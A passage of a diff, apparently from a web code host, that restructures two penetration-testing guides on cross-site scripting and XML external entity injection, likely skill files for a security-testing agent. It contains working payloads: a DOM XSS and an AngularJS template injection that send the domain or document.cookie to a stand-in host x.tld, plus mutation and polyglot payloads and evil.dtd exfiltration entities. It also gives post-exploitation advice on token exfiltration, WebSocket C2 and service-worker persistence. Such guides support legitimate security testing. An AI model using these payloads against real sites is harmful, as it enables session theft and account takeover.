- Attribute value: encode " ' < > & and ensure attribute quoted; avoid unquoted attributes
|
- `location.hash`/`search`, `document.referrer`, base href, `data-*` attributes
|
||||||
- URL/JS URL: encode and validate scheme (allowlist https/mailto/tel); disallow javascript/data
|
|
||||||
- JS string: escape quotes, backslashes, newlines; prefer JSON.stringify
|
|
||||||
- CSS: avoid injecting into style; sanitize property names/values; beware url() and expression()
|
|
||||||
- SVG/MathML: treat as active content; many tags execute via onload or animation events
|
|
||||||
|
|
||||||
## Advanced Detection
|
**Events/Handlers**
|
||||||
|
- `onerror`/`onload`/`onfocus`/`onclick` and `javascript:` URL handlers
|
||||||
|
|
||||||
### Differential Responses
|
**Cross-Context**
|
||||||
|
- postMessage payloads, WebSocket messages, local/sessionStorage, IndexedDB
|
||||||
|
|
||||||
- Compare responses with/without payload; normalize by length/ETag/digest; observe DOM diffs with MutationObserver
|
**File/Metadata**
|
||||||
- Time-based userland probes: setTimeout gating to detect execution without visible UI
|
- Image/SVG/XML names and EXIF, office documents processed server/client
|
||||||
|
|
||||||
### Multi Channel
|
## Context Encoding Rules
|
||||||
|
|
||||||
- Repeat tests across REST, GraphQL, WebSocket, SSE, Service Workers, and background sync; protections diverge per channel
|
- **HTML text**: encode `< > & " '`
|
||||||
|
- **Attribute value**: encode `" ' < > &` and ensure attribute quoted; avoid unquoted attributes
|
||||||
|
- **URL/JS URL**: encode and validate scheme (allowlist https/mailto/tel); disallow javascript/data
|
||||||
|
- **JS string**: escape quotes, backslashes, newlines; prefer `JSON.stringify`
|
||||||
|
- **CSS**: avoid injecting into style; sanitize property names/values; beware `url()` and `expression()`
|
||||||
|
- **SVG/MathML**: treat as active content; many tags execute via onload or animation events
|
||||||
|
|
||||||
## Advanced Techniques
|
## Key Vulnerabilities
|
||||||
|
|
||||||
### Dom Xss
|
### DOM XSS
|
||||||
|
|
||||||
- Sources: location.* (hash/search), document.referrer, postMessage, storage, service worker messages
|
**Sources**
|
||||||
- Sinks: innerHTML/outerHTML/insertAdjacentHTML, document.write, setAttribute, setTimeout/setInterval with strings, eval/Function, new Worker with blob URLs
|
- `location.*` (hash/search), `document.referrer`, postMessage, storage, service worker messages
|
||||||
- Example vulnerable pattern:
|
|
||||||
```
|
**Sinks**
|
||||||
|
- `innerHTML`/`outerHTML`/`insertAdjacentHTML`, `document.write`
|
||||||
|
- `setAttribute`, `setTimeout`/`setInterval` with strings
|
||||||
|
- `eval`/`Function`, `new Worker` with blob URLs
|
||||||
|
|
||||||
|
**Vulnerable Pattern**
|
||||||
|
```javascript
|
||||||
const q = new URLSearchParams(location.search).get('q');
|
const q = new URLSearchParams(location.search).get('q');
|
||||||
results.innerHTML = `<li>${q}</li>`;
|
results.innerHTML = `<li>${q}</li>`;
|
||||||
```
|
```
|
||||||
Exploit: `?q=<img src=x onerror=fetch('//x.tld/'+document.domain)>`
|
Exploit: `?q=<img src=x onerror=fetch('//x.tld/'+document.domain)>`
|
||||||
|
|
||||||
### Mutation Xss
|
### Mutation XSS
|
||||||
|
|
||||||
- Leverage parser repairs to morph safe-looking markup into executable code (e.g., noscript, malformed tags)
|
Leverage parser repairs to morph safe-looking markup into executable code (e.g., noscript, malformed tags):
|
||||||
- Payloads:
|
```html
|
||||||
```
|
|
||||||
<noscript><p title="</noscript><img src=x onerror=alert(1)>
|
<noscript><p title="</noscript><img src=x onerror=alert(1)>
|
||||||
<form><button formaction=javascript:alert(1)>
|
<form><button formaction=javascript:alert(1)>
|
||||||
```
|
```
|
||||||
|
|
||||||
### Template Injection
|
### Template Injection
|
||||||
|
|
||||||
- Server or client templates evaluating expressions (AngularJS legacy, Handlebars helpers, lodash templates)
|
Server or client templates evaluating expressions (AngularJS legacy, Handlebars helpers, lodash templates):
|
||||||
- Example (AngularJS legacy): `{{constructor.constructor('fetch(`//x.tld?c=`+document.cookie)')()}}`
|
```
|
||||||
|
{{constructor.constructor('fetch(`//x.tld?c=`+document.cookie)')()}}
|
||||||
|
```
|
||||||
|
|
||||||
### Csp Bypass
|
### CSP Bypass
|
||||||
|
|
||||||
- Weak policies: missing nonces/hashes, wildcards, data: blob: allowed, inline events allowed
|
- Weak policies: missing nonces/hashes, wildcards, `data:` `blob:` allowed, inline events allowed
|
||||||
- Script gadgets: JSONP endpoints, libraries exposing function constructors, import maps or modulepreload lax policies
|
- Script gadgets: JSONP endpoints, libraries exposing function constructors
|
||||||
- Base tag injection to retarget relative script URLs; dynamic module import with allowed origins
|
- Import maps or modulepreload lax policies
|
||||||
- Trusted Types gaps: missing policy on custom sinks; third-party introducing createPolicy
|
- Base tag injection to retarget relative script URLs
|
||||||
|
- Dynamic module import with allowed origins
|
||||||
|
|
||||||
### Trusted Types
|
### Trusted Types Bypass
|
||||||
|
|
||||||
- If Trusted Types enforced, look for custom policies returning unsanitized strings; abuse policy whitelists
|
- Custom policies returning unsanitized strings; abuse policy whitelists
|
||||||
- Identify sinks not covered by Trusted Types (e.g., CSS, URL handlers) and pivot via gadgets
|
- Sinks not covered by Trusted Types (CSS, URL handlers) and pivot via gadgets
|
||||||
|
|
||||||
### Polyglot Minimal
|
## Polyglot Payloads
|
||||||
|
|
||||||
- Keep a compact set tuned per context:
|
Keep a compact set tuned per context:
|
||||||
HTML node: `<svg onload=alert(1)>`
|
- **HTML node**: `<svg onload=alert(1)>`
|
||||||
Attr quoted: `" autofocus onfocus=alert(1) x="`
|
- **Attr quoted**: `" autofocus onfocus=alert(1) x="`
|
||||||
Attr unquoted: `onmouseover=alert(1)`
|
- **Attr unquoted**: `onmouseover=alert(1)`
|
||||||
JS string: `"-alert(1)-"`
|
- **JS string**: `"-alert(1)-"`
|
||||||
URL: `javascript:alert(1)`
|
- **URL**: `javascript:alert(1)`
|
||||||
|
|
||||||
## Frameworks
|
## Framework-Specific
|
||||||
|
|
||||||
### React
|
### React
|
||||||
|
|
||||||
- Primary sink: dangerouslySetInnerHTML; secondary: setting event handlers or URLs from untrusted input
|
- Primary sink: `dangerouslySetInnerHTML`
|
||||||
- Bypass patterns: unsanitized HTML through libraries; custom renderers using innerHTML under the hood
|
- Secondary: setting event handlers or URLs from untrusted input
|
||||||
- Defense: avoid dangerouslySetInnerHTML; sanitize with strict DOMPurify profile; treat href/src as data, not HTML
|
- Bypass patterns: unsanitized HTML through libraries; custom renderers using innerHTML
|
||||||
|
|
||||||
### Vue
|
### Vue
|
||||||
|
|
||||||
- Sink: v-html and dynamic attribute bindings; server-side rendering hydration mismatches
|
- Sinks: `v-html` and dynamic attribute bindings
|
||||||
- Defense: avoid v-html with untrusted input; sanitize strictly; ensure hydration does not re-interpret content
|
- SSR hydration mismatches can re-interpret content
|
||||||
|
|
||||||
### Angular
|
### Angular
|
||||||
|
|
||||||
- Legacy expression injection (pre-1.6); $sce trust APIs misused to whitelist attacker content
|
- Legacy expression injection (pre-1.6)
|
||||||
- Defense: never trustAsHtml for untrusted input; use bypassSecurityTrust only for constants
|
- `$sce` trust APIs misused to whitelist attacker content
|
||||||
|
|
||||||
### Svelte
|
### Svelte
|
||||||
|
|
||||||
- Sink: {@html} and dynamic attributes
|
- Sinks: `{@html}` and dynamic attributes
|
||||||
- Defense: never pass untrusted HTML; sanitize or use text nodes
|
|
||||||
|
|
||||||
### Markdown Richtext
|
### Markdown/Richtext
|
||||||
|
|
||||||
- Markdown renderers often allow HTML passthrough; plugins may re-enable raw HTML
|
- Renderers often allow HTML passthrough; plugins may re-enable raw HTML
|
||||||
- Sanitize post-render; forbid inline HTML or restrict to safe whitelist; remove dangerous URI schemes
|
- Sanitize post-render; forbid inline HTML or restrict to safe whitelist
|
||||||
|
|
||||||
### Special Contexts
|
## Special Contexts
|
||||||
|
|
||||||
#### Emails
|
### Email
|
||||||
|
|
||||||
- Most clients strip scripts but allow CSS/remote content; use CSS/URL tricks only if relevant; avoid assuming JS execution
|
- Most clients strip scripts but allow CSS/remote content
|
||||||
|
- Use CSS/URL tricks only if relevant; avoid assuming JS execution
|
||||||
|
|
||||||
#### Pdf And Docs
|
### PDF and Docs
|
||||||
|
|
||||||
- PDF engines may execute JS in annotations or links; test javascript: in links and submit actions
|
- PDF engines may execute JS in annotations or links
|
||||||
|
- Test `javascript:` in links and submit actions
|
||||||
|
|
||||||
#### File Uploads
|
### File Uploads
|
||||||
|
|
||||||
- SVG/HTML uploads served with text/html or image/svg+xml can execute inline; verify content-type and Content-Disposition: attachment
|
- SVG/HTML uploads served with `text/html` or `image/svg+xml` can execute inline
|
||||||
- Mixed MIME and sniffing bypasses; ensure X-Content-Type-Options: nosniff
|
- Verify content-type and `Content-Disposition: attachment`
|
||||||
|
- Mixed MIME and sniffing bypasses; ensure `X-Content-Type-Options: nosniff`
|
||||||
|
|
||||||
### Post Exploitation
|
## Post-Exploitation
|
||||||
|
|
||||||
- Session/token exfiltration: prefer fetch/XHR over image beacons for reliability; bind unique IDs to correlate victims
|
- Session/token exfiltration: prefer fetch/XHR over image beacons for reliability
|
||||||
- Real-time control: WebSocket C2 that evaluates only a strict command set; avoid eval when demonstrating
|
- Real-time control: WebSocket C2 with strict command set
|
||||||
- Persistence: service worker registration where allowed; localStorage/script gadget re-injection in single-page apps
|
- Persistence: service worker registration; localStorage/script gadget re-injection
|
||||||
- Impact: role hijack, CSRF chaining, internal port scan via fetch, content scraping, credential phishing overlays
|
- Impact: role hijack, CSRF chaining, internal port scan via fetch, credential phishing overlays
|
||||||
|
|
||||||
### Validation
|
## Testing Methodology
|
||||||
|
|
||||||
1. Provide minimal payload and context (sink type) with before/after DOM or network evidence.
|
1. **Identify sources** - URL/query/hash/referrer, postMessage, storage, WebSocket, server JSON
|
||||||
2. Demonstrate cross-browser execution where relevant or explain parser-specific behavior.
|
2. **Trace to sinks** - Map data flow from source to sink
|
||||||
3. Show bypass of stated defenses (sanitizer settings, CSP/Trusted Types) with proof.
|
3. **Classify context** - HTML node, attribute, URL, script block, event handler, JS eval-like, CSS, SVG
|
||||||
4. Quantify impact beyond alert: data accessed, action performed, persistence achieved.
|
4. **Assess defenses** - Output encoding, sanitizer, CSP, Trusted Types, DOMPurify config
|
||||||
|
5. **Craft payloads** - Minimal payloads per context with encoding/whitespace/casing variants
|
||||||
|
6. **Multi-channel** - Test across REST, GraphQL, WebSocket, SSE, service workers
|
||||||
|
|
||||||
### False Positives
|
## Validation
|
||||||
|
|
||||||
|
1. Provide minimal payload and context (sink type) with before/after DOM or network evidence
|
||||||
|
2. Demonstrate cross-browser execution where relevant or explain parser-specific behavior
|
||||||
|
3. Show bypass of stated defenses (sanitizer settings, CSP/Trusted Types) with proof
|
||||||
|
4. Quantify impact beyond alert: data accessed, action performed, persistence achieved
|
||||||
|
|
||||||
|
## False Positives
|
||||||
|
|
||||||
- Reflected content safely encoded in the exact context
|
- Reflected content safely encoded in the exact context
|
||||||
- CSP with nonces/hashes and no inline/event handlers; Trusted Types enforced on sinks; DOMPurify in strict mode with URI allowlists
|
- CSP with nonces/hashes and no inline/event handlers
|
||||||
|
- Trusted Types enforced on sinks; DOMPurify in strict mode with URI allowlists
|
||||||
- Scriptable contexts disabled (no HTML pass-through, safe URL schemes enforced)
|
- Scriptable contexts disabled (no HTML pass-through, safe URL schemes enforced)
|
||||||
|
|
||||||
### Pro Tips
|
## Impact
|
||||||
|
|
||||||
1. Start with context classification, not payload brute force.
|
- Session hijacking and credential theft
|
||||||
2. Use DOM instrumentation to log sink usage; it reveals unexpected flows.
|
- Account takeover via token exfiltration
|
||||||
3. Keep a small, curated payload set per context and iterate with encodings.
|
- CSRF chaining for state-changing actions
|
||||||
4. Validate defenses by configuration inspection and negative tests.
|
- Malware distribution and phishing
|
||||||
5. Prefer impact-driven PoCs (exfiltration, CSRF chain) over alert boxes.
|
- Persistent compromise via service workers
|
||||||
6. Treat SVG/MathML as first-class active content; test separately.
|
|
||||||
7. Re-run tests under different transports and render paths (SSR vs CSR vs hydration).
|
|
||||||
8. Test CSP/Trusted Types as features: attempt to violate policy and record the violation reports.
|
|
||||||
|
|
||||||
### Remember
|
## Pro Tips
|
||||||
|
|
||||||
|
1. Start with context classification, not payload brute force
|
||||||
|
2. Use DOM instrumentation to log sink usage; it reveals unexpected flows
|
||||||
|
3. Keep a small, curated payload set per context and iterate with encodings
|
||||||
|
4. Validate defenses by configuration inspection and negative tests
|
||||||
|
5. Prefer impact-driven PoCs (exfiltration, CSRF chain) over alert boxes
|
||||||
|
6. Treat SVG/MathML as first-class active content; test separately
|
||||||
|
7. Re-run tests under different transports and render paths (SSR vs CSR vs hydration)
|
||||||
|
8. Test CSP/Trusted Types as features: attempt to violate policy and record the violation reports
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
Context + sink decide execution. Encode for the exact context, verify at runtime with CSP/Trusted Types, and validate every alternative render path. Small payloads with strong evidence beat payload catalogs.
|
Context + sink decide execution. Encode for the exact context, verify at runtime with CSP/Trusted Types, and validate every alternative render path. Small payloads with strong evidence beat payload catalogs.
|
||||||
|
|||||||
@@ -1,38 +1,39 @@
|
|||||||
# XML EXTERNAL ENTITY (XXE)
|
---
|
||||||
|
name: xxe
|
||||||
|
description: XXE testing for external entity injection, file disclosure, and SSRF via XML parsers
|
||||||
|
---
|
||||||
|
|
||||||
## Critical
|
# XXE
|
||||||
|
|
||||||
XXE is a parser-level failure that enables local file reads, SSRF to internal control planes, denial-of-service via entity expansion, and in some stacks, code execution through XInclude/XSLT or language-specific wrappers. Treat every XML input as untrusted until the parser is proven hardened.
|
XML External Entity injection is a parser-level failure that enables local file reads, SSRF to internal control planes, denial-of-service via entity expansion, and in some stacks, code execution through XInclude/XSLT or language-specific wrappers. Treat every XML input as untrusted until the parser is proven hardened.
|
||||||
|
|
||||||
## Scope
|
## Attack Surface
|
||||||
|
|
||||||
|
**Capabilities**
|
||||||
- File disclosure: read server files and configuration
|
- File disclosure: read server files and configuration
|
||||||
- SSRF: reach metadata services, internal admin panels, service ports
|
- SSRF: reach metadata services, internal admin panels, service ports
|
||||||
- DoS: entity expansion (billion laughs), external resource amplification
|
- DoS: entity expansion (billion laughs), external resource amplification
|
||||||
- Injection surfaces: REST/SOAP/SAML/XML-RPC, file uploads (SVG, Office), PDF generators, build/report pipelines, config importers
|
|
||||||
- Transclusion: XInclude and XSLT document() loading external resources
|
|
||||||
|
|
||||||
## Methodology
|
**Injection Surfaces**
|
||||||
|
- REST/SOAP/SAML/XML-RPC, file uploads (SVG, Office)
|
||||||
|
- PDF generators, build/report pipelines, config importers
|
||||||
|
|
||||||
1. Inventory all XML consumers: endpoints, upload parsers, background jobs, CLI tools, converters, and third-party SDKs.
|
**Transclusion**
|
||||||
2. Start with capability probes: does the parser accept DOCTYPE? resolve external entities? allow network access? support XInclude/XSLT?
|
- XInclude and XSLT `document()` loading external resources
|
||||||
3. Establish a quiet oracle (error shape, length/ETag diffs, OAST callbacks), then escalate to targeted file/SSRF payloads.
|
|
||||||
4. Validate per-channel parity: the same parser options must hold across REST, SOAP, SAML, file uploads, and background jobs.
|
|
||||||
|
|
||||||
## Discovery Techniques
|
## High-Value Targets
|
||||||
|
|
||||||
### Surface Map
|
**File Uploads**
|
||||||
|
- SVG/MathML, Office (docx/xlsx/ods/odt), XML-based archives
|
||||||
|
- Android/iOS plist, project config imports
|
||||||
|
|
||||||
- File uploads: SVG/MathML, Office (docx/xlsx/ods/odt), XML-based archives, Android/iOS plist, project config imports
|
**Protocols**
|
||||||
- Protocols: SOAP/XML-RPC/WebDAV/SAML (ACS endpoints), RSS/Atom feeds, server-side renderers and converters
|
- SOAP/XML-RPC/WebDAV/SAML (ACS endpoints)
|
||||||
- Hidden paths: "xml", "upload", "import", "transform", "xslt", "xsl", "xinclude" parameters; processing-instruction headers
|
- RSS/Atom feeds, server-side renderers and converters
|
||||||
|
|
||||||
### Capability Probes
|
**Hidden Paths**
|
||||||
|
- Parameters: "xml", "upload", "import", "transform", "xslt", "xsl", "xinclude"
|
||||||
- Minimal DOCTYPE: attempt a harmless internal entity to detect acceptance without causing side effects
|
- Processing-instruction headers
|
||||||
- External fetch test: point to an OAST URL to confirm egress; prefer DNS first, then HTTP
|
|
||||||
- XInclude probe: add xi:include to see if transclusion is enabled
|
|
||||||
- XSLT probe: xml-stylesheet PI or transform endpoints that accept stylesheets
|
|
||||||
|
|
||||||
## Detection Channels
|
## Detection Channels
|
||||||
|
|
||||||
@@ -40,11 +41,11 @@ XXE is a parser-level failure that enables local file reads, SSRF to internal co
|
|||||||
|
|
||||||
- Inline disclosure of entity content in the HTTP response, transformed output, or error pages
|
- Inline disclosure of entity content in the HTTP response, transformed output, or error pages
|
||||||
|
|
||||||
### Error Based
|
### Error-Based
|
||||||
|
|
||||||
- Coerce parser errors that leak path fragments or file content via interpolated messages
|
- Coerce parser errors that leak path fragments or file content via interpolated messages
|
||||||
|
|
||||||
### Oast
|
### OAST
|
||||||
|
|
||||||
- Blind XXE via parameter entities and external DTDs; confirm with DNS/HTTP callbacks
|
- Blind XXE via parameter entities and external DTDs; confirm with DNS/HTTP callbacks
|
||||||
- Encode data into request paths/parameters to exfiltrate small secrets (hostnames, tokens)
|
- Encode data into request paths/parameters to exfiltrate small secrets (hostnames, tokens)
|
||||||
@@ -92,11 +93,12 @@ evil.dtd:
|
|||||||
%e; %exfil;
|
%e; %exfil;
|
||||||
```
|
```
|
||||||
|
|
||||||
## Advanced Techniques
|
## Key Vulnerabilities
|
||||||
|
|
||||||
### Parameter Entities
|
### Parameter Entities
|
||||||
|
|
||||||
- Use parameter entities in the DTD subset to define secondary entities that exfiltrate content; works even when general entities are sanitized in the XML tree
|
- Use parameter entities in the DTD subset to define secondary entities that exfiltrate content
|
||||||
|
- Works even when general entities are sanitized in the XML tree
|
||||||
|
|
||||||
### XInclude
|
### XInclude
|
||||||
|
|
||||||
@@ -106,11 +108,11 @@ evil.dtd:
|
|||||||
</root>
|
</root>
|
||||||
```
|
```
|
||||||
|
|
||||||
- Effective where entity resolution is blocked but XInclude remains enabled in the pipeline
|
Effective where entity resolution is blocked but XInclude remains enabled in the pipeline.
|
||||||
|
|
||||||
### XSLT Document
|
### XSLT Document
|
||||||
|
|
||||||
- XSLT processors can fetch external resources via document():
|
XSLT processors can fetch external resources via `document()`:
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||||
@@ -120,27 +122,27 @@ evil.dtd:
|
|||||||
</xsl:stylesheet>
|
</xsl:stylesheet>
|
||||||
```
|
```
|
||||||
|
|
||||||
- Targets: transform endpoints, reporting engines (XSLT/Jasper/FOP), xml-stylesheet PI consumers
|
Targets: transform endpoints, reporting engines (XSLT/Jasper/FOP), xml-stylesheet PI consumers.
|
||||||
|
|
||||||
## Protocol Wrappers
|
### Protocol Wrappers
|
||||||
|
|
||||||
- Java: jar:, netdoc:
|
- Java: `jar:`, `netdoc:`
|
||||||
- PHP: php://filter, expect:// (when module enabled)
|
- PHP: `php://filter`, `expect://` (when module enabled)
|
||||||
- Gopher: craft raw requests to Redis/FCGI when client allows non-HTTP schemes
|
- Gopher: craft raw requests to Redis/FCGI when client allows non-HTTP schemes
|
||||||
|
|
||||||
## Filter Bypasses
|
## Bypass Techniques
|
||||||
|
|
||||||
### Encoding Variants
|
**Encoding Variants**
|
||||||
|
- UTF-16/UTF-7 declarations, mixed newlines
|
||||||
|
- CDATA and comments to evade naive filters
|
||||||
|
|
||||||
- UTF-16/UTF-7 declarations, mixed newlines, CDATA and comments to evade naive filters
|
**DOCTYPE Variants**
|
||||||
|
- PUBLIC vs SYSTEM, mixed case `<!DoCtYpE>`
|
||||||
|
- Internal vs external subsets, multi-DOCTYPE edge handling
|
||||||
|
|
||||||
### Doctype Variants
|
**Network Controls**
|
||||||
|
- If network blocked but filesystem readable, pivot to local file disclosure
|
||||||
- PUBLIC vs SYSTEM, mixed case <!DoCtYpE>, internal vs external subsets, multi-DOCTYPE edge handling
|
- If files blocked but network open, pivot to SSRF/OAST
|
||||||
|
|
||||||
### Network Controls
|
|
||||||
|
|
||||||
- If network blocked but filesystem readable, pivot to local file disclosure; if files blocked but network open, pivot to SSRF/OAST
|
|
||||||
|
|
||||||
## Special Contexts
|
## Special Contexts
|
||||||
|
|
||||||
@@ -157,23 +159,34 @@ evil.dtd:
|
|||||||
|
|
||||||
### SAML
|
### SAML
|
||||||
|
|
||||||
- Assertions are XML-signed, but upstream XML parsers prior to signature verification may still process entities/XInclude; test ACS endpoints with minimal probes
|
- Assertions are XML-signed, but upstream XML parsers prior to signature verification may still process entities/XInclude
|
||||||
|
- Test ACS endpoints with minimal probes
|
||||||
|
|
||||||
### Svg And Renderers
|
### SVG and Renderers
|
||||||
|
|
||||||
- Inline SVG and server-side SVG→PNG/PDF renderers process XML; attempt local file reads via entities/XInclude
|
- Inline SVG and server-side SVG→PNG/PDF renderers process XML
|
||||||
|
- Attempt local file reads via entities/XInclude
|
||||||
|
|
||||||
### Office Docs
|
### Office Docs
|
||||||
|
|
||||||
- OOXML (docx/xlsx/pptx) are ZIPs containing XML; insert payloads into document.xml, rels, or drawing XML and repackage
|
- OOXML (docx/xlsx/pptx) are ZIPs containing XML
|
||||||
|
- Insert payloads into document.xml, rels, or drawing XML and repackage
|
||||||
|
|
||||||
|
## Testing Methodology
|
||||||
|
|
||||||
|
1. **Inventory consumers** - Endpoints, upload parsers, background jobs, CLI tools, converters, third-party SDKs
|
||||||
|
2. **Capability probes** - Does parser accept DOCTYPE? Resolve external entities? Allow network access? Support XInclude/XSLT?
|
||||||
|
3. **Establish oracle** - Error shape, length/ETag diffs, OAST callbacks
|
||||||
|
4. **Escalate** - Targeted file/SSRF payloads
|
||||||
|
5. **Validate parity** - Same parser options must hold across REST, SOAP, SAML, file uploads, and background jobs
|
||||||
|
|
||||||
## Validation
|
## Validation
|
||||||
|
|
||||||
1. Provide a minimal payload proving parser capability (DOCTYPE/XInclude/XSLT).
|
1. Provide a minimal payload proving parser capability (DOCTYPE/XInclude/XSLT)
|
||||||
2. Demonstrate controlled access (file path or internal URL) with reproducible evidence.
|
2. Demonstrate controlled access (file path or internal URL) with reproducible evidence
|
||||||
3. Confirm blind channels with OAST and correlate to the triggering request.
|
3. Confirm blind channels with OAST and correlate to the triggering request
|
||||||
4. Show cross-channel consistency (e.g., same behavior in upload and SOAP paths).
|
4. Show cross-channel consistency (e.g., same behavior in upload and SOAP paths)
|
||||||
5. Bound impact: exact files/data reached or internal targets proven.
|
5. Bound impact: exact files/data reached or internal targets proven
|
||||||
|
|
||||||
## False Positives
|
## False Positives
|
||||||
|
|
||||||
@@ -191,17 +204,17 @@ evil.dtd:
|
|||||||
|
|
||||||
## Pro Tips
|
## Pro Tips
|
||||||
|
|
||||||
1. Prefer OAST first; it is the quietest confirmation in production-like paths.
|
1. Prefer OAST first; it is the quietest confirmation in production-like paths
|
||||||
2. When content is sanitized, use error-based and length/ETag diffs.
|
2. When content is sanitized, use error-based and length/ETag diffs
|
||||||
3. Probe XInclude/XSLT; they often remain enabled after entity resolution is disabled.
|
3. Probe XInclude/XSLT; they often remain enabled after entity resolution is disabled
|
||||||
4. Aim SSRF at internal well-known ports (kubelet, Docker, Redis, metadata) before public hosts.
|
4. Aim SSRF at internal well-known ports (kubelet, Docker, Redis, metadata) before public hosts
|
||||||
5. In uploads, repackage OOXML/SVG rather than standalone XML; many apps parse these implicitly.
|
5. In uploads, repackage OOXML/SVG rather than standalone XML; many apps parse these implicitly
|
||||||
6. Keep payloads minimal; avoid noisy billion-laughs unless specifically testing DoS.
|
6. Keep payloads minimal; avoid noisy billion-laughs unless specifically testing DoS
|
||||||
7. Test background processors separately; they often use different parser settings.
|
7. Test background processors separately; they often use different parser settings
|
||||||
8. Validate parser options in code/config; do not rely on WAFs to block DOCTYPE.
|
8. Validate parser options in code/config; do not rely on WAFs to block DOCTYPE
|
||||||
9. Combine with path traversal and deserialization where XML touches downstream systems.
|
9. Combine with path traversal and deserialization where XML touches downstream systems
|
||||||
10. Document exact parser behavior per stack; defenses must match real libraries and flags.
|
10. Document exact parser behavior per stack; defenses must match real libraries and flags
|
||||||
|
|
||||||
## Remember
|
## Summary
|
||||||
|
|
||||||
XXE is eliminated by hardening parsers: forbid DOCTYPE, disable external entity resolution, and disable network access for XML processors and transformers across every code path.
|
XXE is eliminated by hardening parsers: forbid DOCTYPE, disable external entity resolution, and disable network access for XML processors and transformers across every code path.
|
||||||
|
|||||||
Reference in New Issue
Block a user